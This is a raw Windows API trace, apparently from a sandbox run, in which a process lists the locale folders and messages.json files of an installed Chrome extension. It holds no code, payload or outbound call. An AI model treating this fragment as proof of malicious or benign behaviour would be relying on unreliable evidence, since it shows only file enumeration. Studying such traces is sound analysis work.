	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865d1c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f7db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865f7db0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8666a1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1
	[0066.346] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.346] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.347] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar"), fInfoLevelId=0x0, lpFileInformation=0x127db778 | out: lpFileInformation=0x127db778*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.348] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.348] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.348] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.348] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.348] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.348] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x127db818 | out: lpFileInformation=0x127db818*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf6)) returned 1
	[0066.348] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg"), fInfoLevelId=0x0, lpFileInformation=0x127db868 | out: lpFileInformation=0x127db868*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.349] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.349] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.349] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.349] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.349] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.349] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.349] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x127db908 | out: lpFileInformation=0x127db908*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108)) returned 1
	[0066.350] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca"), fInfoLevelId=0x0, lpFileInformation=0x127db958 | out: lpFileInformation=0x127db958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.350] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
